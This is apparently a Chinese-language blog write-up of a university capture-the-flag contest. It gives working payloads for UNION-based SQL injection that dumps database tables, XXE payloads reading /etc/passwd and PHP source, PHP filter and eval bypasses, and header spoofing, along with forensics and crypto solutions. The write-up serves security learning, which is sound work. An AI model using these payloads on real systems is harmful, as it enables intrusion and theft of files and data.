GET / HTTP/1.1 Host: cvbcvbcvbvc.mycute.cn User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Cookie: user=1 Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 X-Forwarded-For:127.0.0.1
xff伪造,更改cookie。
flag{welcom_to_GZMTU_56456s4awdawdafafa}
抓包发现cookie有一个:Cookie: hexo=MQ%3D%3D
url解码再base64解码发现是数字1,存在注入。
payload进行base64编码
查库
-1' union select 1,database() --
查表
-1' union select 1,(select group_concat(table_name)from information_schema.tables where table_schema='ctf') --
查字段
-1' union select 1,(select group_concat(column_name)from information_schema.columns where table_name='flag') --
查内容
-1' union select 1,flag from flag --
flag{This_is_flag_give_you}
xee漏洞。
抓包发现:
<?xml version="1.0" encoding="UTF-8"?><feedback><author>1</author></feedback>
利用file协议读取etc/passwd:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<feedback><author>&xxe;</author></feedback>
利用php://filter读flag:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
<feedback><author>&xxe;</author></feedback>
出来index源码,里面有flag
flag{79d10626-d27f-4569-a629-c9606d0378f2}
<?php
//flag in flag.php
error_reporting(0);
@$payload = $_GET['s'];
$b='no hack';
if(!isset($_GET['s'])){
highlight_file(__FILE__);
die();
}
$payload=str_replace(['php','flag'], '', $payload);
if(!empty($payload)&&stristr($b,'flag')==md5(@$_GET['x'])&&!empty($_GET['x']))
echo file_get_contents($payload);
else
echo "no no no!";
?>
主要考察str_replace
函数和md5
函数
payload:
s=flaflagg.pflaghp&x[]=1
flag{Hello_Gzmtu_66666666666}
代码审计题:
<?php
error_reporting(0);
include('waf.php');
function get_the_f2ag(){
echo file_get_contents('flag.php');
}
@$gf = $_GET['s'];
if (!$gf ){
highlight_file(__FILE__);
}
if(strlen($gf)>40){
die('One inch long, one inch strong!');
}
if(!preg_match('/[0-9]|\~|\^|\$|[A-Z|\|{}|%]/', $gf)){
eval($gf);
}else{
die('No!');
}
?>
这个waf.php过滤了几乎所有php内置函数,加上正则使得无法进行异或等各种骚操作,fuzz之后发现只剩下一个eval可以使用。
提示放出来是!'a'=0,结合题目1+1=?,注意在php中进行运算时,可以使用!!'a'来当作1,也就是说构造如下:
!!'a'+!!'a'
==2,所以就构造出来一个2了,使用eval进行第一次的运算操作,注意+号需要url编码,否则会被解析为空格,并且php中将数字套上括号之后再进行字符串拼接就不会出现类型错误。
所以最后payload如下:
eval('get_the_f'.(!!'a'%2B!!'a').'ag();');
用记事本或ida打开然后搜索flag就有了
flag{reverse_is_easy}
先用ExeinfoPe查一下加壳的方式,然后下载对应的脱壳软件脱壳,ida或记事本打开就看见flag了。
flag{upx_so_easy_!}
略~
grep "Accepted " auth.log | awk '{print $1,$2,$3,$9,$11}'
放kali上使用foremost,分出来一个zip,里面有个flag,使用ps进行方向转换即可。
flag{welcom_to_GZMTU_56456s4awdawdafafa}
zip伪加密,直接用winrar或者改一下16进制即可。
打开是一个png文件,看着明显少了一截,直接修改长度即可。
flag{no-girl-no-ctf}
查看文件头发现都是666666,修改为zip文件头,然后按提示是hlqiou加上4位数字即可解出压缩包,直接写py脚本爆破即可。
flag{5oiR54ix6buE6I6J6I2D}
serect = "]p{k]6wmfqozgJ<id[QidKkl[6Qy[5YEf6nziT@@"
for i in serect:
print(chr(ord(i)-3),end="")
https://www.qqxiuzi.cn/bianma/zhalanmima.php
http://www.aihanyu.org/cncorpus/CpsTongji.aspx
本文原创于HhhM的博客,转载请标明出处。
_ _ _ _ ___ ___ | | | | | | | | \/ | | |_| | |__ | |__ | . . | | _ | '_ \| '_ \| |\/| | | | | | | | | | | | | | | \_| |_/_| |_|_| |_\_| |_/